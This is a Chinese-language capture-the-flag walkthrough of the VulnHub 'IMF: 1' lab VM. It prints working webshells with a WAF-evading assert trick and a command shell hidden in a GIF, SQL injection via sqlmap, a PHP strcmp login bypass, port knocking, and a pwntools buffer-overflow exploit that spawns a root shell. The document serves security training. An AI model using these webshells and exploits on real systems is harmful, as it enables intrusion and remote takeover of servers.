IMF

| 项目 | 详情 |
|---|---|
| 靶机名称 | IMF: 1 |
| 难度等级 | Medium(中等) |
| 目标 | 获取 root 权限并找到六个 flag |
| 下载链接 | https://www.vulnhub.com/entry/imf-1,162/ |
| 攻击机 (Kali) | 192.168.197.10(建议使用 NAT 模式) |
| 靶机 | 192.168.197.176(DHCP 自动分配) |
一、 信息收集 (Reconnaissance)
信息收集是渗透测试的基石,决定了后续攻击面的广度。
1.1 主机发现
使用 nmap 在本地网络中定位靶机 IP。
nmap -sn 192.168.197.0/24
结果输出:发现目标 IP 为:192.168.197.176
1.2 端口与服务扫描
使用 Nmap 对靶机进行全面的端口和服务扫描。
# 快速全端口扫描nmap -p- --min-rate 1000 -T4 192.168.197.176# 深入服务探测nmap -sC -sV -O 192.168.197.176
扫描结果分析:
| 端口 | 服务 | 状态 | 初步判断 |
|---|---|---|---|
| 80 | Apache 2.4.18 | 开放 | 主要攻击面,Web 应用 |
注意:后续在提权阶段会发现 7788 端口,但初始扫描时因防火墙设置未能发现。
二、 漏洞利用 (Exploitation)
根据信息收集结果,选择最有可能的突破口进行深入利用。
2.1 Web 渗透
2.1.1 获取 Flag1
既然靶机开放了80端口,即HTTP服务,那就访问一下吧。
访问网站 http://192.168.197.176,在 contact us 页面查看网页源代码,发现第一个 Flag。

<!-- flag1{YWxsdGhlZmlsZXM=} -->将 Flag1 的内容进行 Base64 解码:
echo "YWxsdGhlZmlsZXM=" | base64 -d
结果:allthefiles,因此flag1{allthefiles}。
2.1.2 获取 Flag2
在首页源代码中发现三个奇怪的 JS 文件名。
eVlYUnZjZz09fQ==XUnRhVzVwYzNSZmxhZzJ7YVcxbVl
关键(这些前缀在CTF中几乎是“条件反射”级别的特征):
- flag 的开头 fla 编码后就是 Zmxh
- 如果编码完整的 flag,结果是 ZmxhZw==
- 同理,flag{ 编码后固定是 ZmxhZ3s=
- root 编码后是 cm9vdA==
因此可以将其按顺序拼接后进行 Base64 解码(Zmxh开头的部分放在前面,以==结尾的部分放在后面,剩下的部分放在中间)。
echo "ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==" | base64 -d得到:flag2{aW1mYWRtaW5pc3RyYXRvcg==}
再次解码 Flag2 的内容:
echo "aW1mYWRtaW5pc3RyYXRvcg==" | base64 -d
结果:imfadministrator,因此flag2{imfadministrator}。
2.1.3 获取后台路径与 Flag3
注意: 记住上面的信息收集每一条都是有用的,上面解出来的东西都是比较规律的,有可能是目录之类的。
因此访问路径 /imfadministrator,进入后台登录页面(如果访问allthefiles路径,则发现没有该资源)。查看网页源码,发现提示:“我无法使用 SQL,所以我硬编码了密码。它仍然非常安全”,因此没有SQL注入。
步骤 1:枚举用户名
输入不存在的用户名,页面回显无效的用户名(Invalid username)。因此尝试输入存在的用户名,在 contact.php 页面中有三个用户名:rmichaels、akeith、estone。
逐一测试后确认有效用户名为rmichaels,因为回显变为无效的密码(Invalid password),而不是回显无效的用户名。
步骤 2:PHP 数组绕过登录
注意:这里当然可以暴力破解,因为已经知道了用户名,但是这里有更好的办法,因为根据网页源代码的提示,这个密码的验证是写死在php代码中的,因此可以使用PHP数组绕过登录。
原理: php验证代码可能如下
$password = $_POST['password']; // 用户输入if (strcmp($password, $admin_password) == 0) { // 登录成功!}php代码可能是用strcmp之类的函数去判断密码。当strcmp的两个字符串参数相等的时候返回结果为0,string类型和array类型相比较,它会出错,但返回的不是“报错并停止”,而是 NULL。又因为在PHP的弱类型比较中,NULL == 0 的结果是 true(真),因此成功绕过。
修改网页源代码,将密码参数 pass 改为数组形式(当然这里也可以使用抓包,然后修改数据包)。
成功登录后获得 Flag3:
flag3{Y29udGludWVUT2Ntcw==}
Base64 解码得到:continueTOcms,因此flag3{continueTOcms}。
2.2 SQL 注入与 Flag4
成功登录后,访问 CMS 页面(因为flag3的提示):http://192.168.197.176/imfadministrator/cms.php?pagename=home。URL有GET传参,因此存在SQL注入,在 URL 参数 pagename 后加单引号测试,发现 MySQL 报错回显,确认存在 SQL 注入漏洞。



sqlmap -r req.txt --batch --dbs
sqlmap -r req.txt --batch -D admin --tables
sqlmap -r req.txt --batch -D admin -T pages --dump
爆破数据库 admin 中的 pages 表,获取到一条图片路径记录。访问该路径,发现一张二维码图片。
扫描二维码得到 Flag4:
flag4{dXBsb2Fkcjk0Mi5waHA=}解码后得到flag4{uploadr942.php},同时获得文件上传路径:uploadr942.php。
2.3 文件上传与 WebShell(Flag5)
访问 http://192.168.197.176/imfadministrator/uploadr942.php,发现是一个文件上传界面。使用PHP一句话进行上传,通过不断测试,发现存在WAF和文件头检测,尝试修改Content-Type:image/jpeg,文件头加上GIF89a也是无效。
所以采用另外一个方法,制作一个图片马。
由于WAF过滤比较严,直接写<?php @eval($_POST['ant']); ?>会被拦截,因此使用assert函数,同时使用“.”连接两部分,具体webshell内容如下。
<?php $a="ass"."ert";$a($_POST["ant"]); ?>然后使用一个git图片做图片马。
注意:根据事后分析,这里只能用git图片,不能用其他类型的图片,因为.htaccess文件里只允许git图片以php的形式运行。
copy /b 普通图片.gif + webshell.php webshell.gif
上传后查看网页源代码,获取服务器重命名的文件名。
此时如果我们直接访问,发现没有,推测应该是图片被保存在某个文件夹下面了,可以猜测是在imfadministrator目录下,我们可以进行目录扫描。
使用dirsearch扫描,命令如下:
dirsearch -u http://192.168.197.176/imfadministrator/ -e php,html,txt -w /usr/share/wordlists/dirb/common.txt -t 50
-u:指定目标 URL-e:添加常见的扩展名(如 PHP、HTML、TXT),以便发现带有这些后缀的目录或文件-w:指定字典文件(这里使用 Kali 自带的 common.txt,比较全面)-t:设置线程数(50 线程速度较快,可根据网络情况调整)
访问该url,发现可以访问,说明上传成功。
http://192.168.197.176/imfadministrator/uploads/4994055bd05d.gif
使用蚁剑连接WebShell,记得要切换成base64编码器,否则无法连接,因为会被WAF过滤:
连接成功之后,查看文件获取flag。

将 Flag5 进行 Base64 解码,解码结果:agentservices,因此flag5{agentservices}。
补充: 也可以使用下面的webshell,同样制作图片马并上传(这个shell只能执行系统命令,因为是用echo,所以也叫命令马)。
<?php $s=$_GET['topsec']; echo `$s`; ?> //此时需要注意最前面加一个空格,要不然生成图片马的时候会覆盖掉导致乱码然后用命令马快速写一个“完美蚁剑马”。
http://192.168.197.176/imfadministrator/uploads/重命名.gif?topsec=echo '<?php $a="ass"."ert";$a($_POST["ant"]); ?>' > /var/www/html/imfadministrator/uploads/shell.php# 注意:在Ubuntu系统中,Apache的默认网站根目录是/var/www/html/之后连接该shell.php,记得编码器要切换到base64。
三、 权限提升 (Privilege Escalation)
现在的目标是从普通用户提权至 root,因为最后一个flag在root下面,但是直接用蚁剑查看权限不够。

3.1 发现 Agent 服务
根据 Flag5 的提示 agentservices,在靶机中搜索相关文件:
# 使用相关命令搜索agent在哪里find / -iname agent 2>/dev/nullwhereis agent发现文件:
/usr/local/bin/agent/etc/xinetd.d/agent
查看/etc/xinetd.d/agent内容:

# default: on# description: The agent server serves agent sessions# unencrypted agentid for authentication.service agent{ flags = REUSE socket_type = stream wait = no user = root server = /usr/local/bin/agent log_on_failure += USERID disable = no port = 7788}该服务以 root 权限运行在 7788 端口,且服务程序为/usr/local/bin/agent,恰好和刚才使用命令找到的位置相对应。
查看当前端口状态,确认 7788 端口已开放:
netstat -atnup
注意这里有个细节,前面使用nmap扫描的时候并没有看到7788端口,因此推测这个端口是被隐藏了。根据后面的操作可知,这里需要使用端口敲门,将7788端口敲开。
然后进入目录/usr/local/bin,发现有两个文件,看一下access_codes,发现有个SYN 7482,8279,9467
看起来像是运行了knock进程,需要敲开。
补充: 什么是端口敲门(Port Knocking):
端口敲门是一种网络安全技术,可以形象地理解为“网络版的芝麻开门”。它的核心思想是服务器的服务端口(如SSH的22端口)默认不对外开放,只有客户端按预先约定的顺序,向服务器的一系列特定端口发送连接请求(即“敲门”)后,服务器才会临时为这个客户端打开真正的服务端口。
使用knock工具敲开7788端口:
knock 192.168.197.176 7482 8279 9467nmap -p 7788 192.168.197.176
由上图可知,再次使用nmap扫描时,发现7788端口已经开放了。
3.2 缓冲区溢出漏洞利用
3.2.1 下载并执行 Agent 程序
接着查看 /usr/local/bin/agent ,发现是可执行的二进制文件。
因此将 /usr/local/bin/agent 文件下载到攻击机进行分析(可以直接使用蚁剑下载然后拖到kali,也可以使用下面的命令)。
# 在靶机上执行nc -lvp 4444 < /usr/local/bin/agent
# 在攻击机上执行(Kali IP: 192.168.197.10)nc 192.168.197.176 4444 > agent然后运行agent程序,发现要输入Agent ID。

3.2.2 构造 Exploit
为了获取Agent ID,同时为了分析agent程序的功能 (检查是否有栈溢出) ,将 agent 文件拖入 IDA 进行逆向分析。查看main函数,发现了Agent ID。
说明:从图中可以发现在fget函数需要输入随机的数字回车,每一次的输入都会出现strncmp(“输入的数字\n”, “48093572”, 8)这行代码,大概意思就是我们输入的数字和48093572进行对比,不正确返回到
Invalid Agent ID。

main函数的完整反编译代码如下:
int __cdecl main(int argc, const char **argv, const char **envp){ char *s2; // [esp+8h] [ebp-20h] BYREF char s[10]; // [esp+Eh] [ebp-1Ah] BYREF int v6; // [esp+18h] [ebp-10h] char v7; // [esp+1Fh] [ebp-9h]
setbuf(stdout, 0); asprintf(&s2, "%i", 48093572); puts(" ___ __ __ ___ "); puts(" |_ _| \\/ | __| Agent"); puts(" | || |\\/| | _| Reporting"); puts(" |___|_| |_|_| System\n"); printf("\nAgent ID : "); if ( !fgets(s, 9, stdin) ) return -1; if ( !strncmp(s, s2, 8u) ) { do v7 = getchar(); while ( v7 != 10 && v7 != -1 ); puts("Login Validated "); v6 = menu(); switch ( v6 ) { case 1: extractionpoints(); break; case 2: requestextraction(); break; case 3: report(); break; default: puts("Exiting..."); break; } return 0; } else { puts("Invalid Agent ID "); return -2; }}经检查,extractionpoints()、requestextraction()这两个函数都没有问题,只有report()函数存在栈溢出。

report()函数的完整反编译代码如下:
char *report(){ char s[152]; // [esp+4h] [ebp-A4h] BYREF char *v2; // [esp+9Ch] [ebp-Ch]
printf("\nEnter report update: "); gets(s); printf("Report: %s\n", s); puts("Submitted for review."); v2 = s; return s;}计算栈溢出偏移(也就是计算数组s相对返回地址的长度):
s在ebp-0xA4,返回地址在ebp+4,所以溢出偏移=0xA4+4=168
找到栈偏移之后,我们需要将 return 地址修改为 shellcode 地址,这里可以使用 ROPgadget 寻找包含 call eax 的代码段。
eax 俗名累加器,用于保存函数返回值、存计算结果、频繁被用来临时放地址
ROPgadget --binary agent | grep "call eax"
我们使用0x8048563这个地址的call eax,所以返回地址也就覆盖为0x8048563。
编写 Python exploit 脚本,连接靶机 7788 端口发送恶意 payload。
#coding=utf-8from pwn import *io = remote("192.168.197.176", 7788)shellcode = asm(shellcraft.sh())shell_addr = 0x8048563io.recvuntil(b"Agent ID : ")io.send(b"48093572\n")io.recvuntil(b"Enter selection: ")io.send(b"3\n")io.recv()io.sendline(shellcode + b"A" * (168 - len(shellcode)) + p32(shell_addr))io.interactive()成功执行后获得 root 权限的反弹 Shell。
注意: exploit 只负责”在 agent 进程里注入代码、弹出一个 shell”;能不能是 root,取决于 agent 进程是不是 root 跑的。 这个靶场 agent 恰好以 root 运行,所以注入 shell 后直接就是 root,所以是”服务本来就以 root 跑”给了我们提权,不是溢出代码本身有 root 魔法。
获取 root 权限后,在 /root 目录下找到最终的 Flag6。
解码后得到flag6{Gh0stProt0c0ls}。
作者留下的小彩蛋:




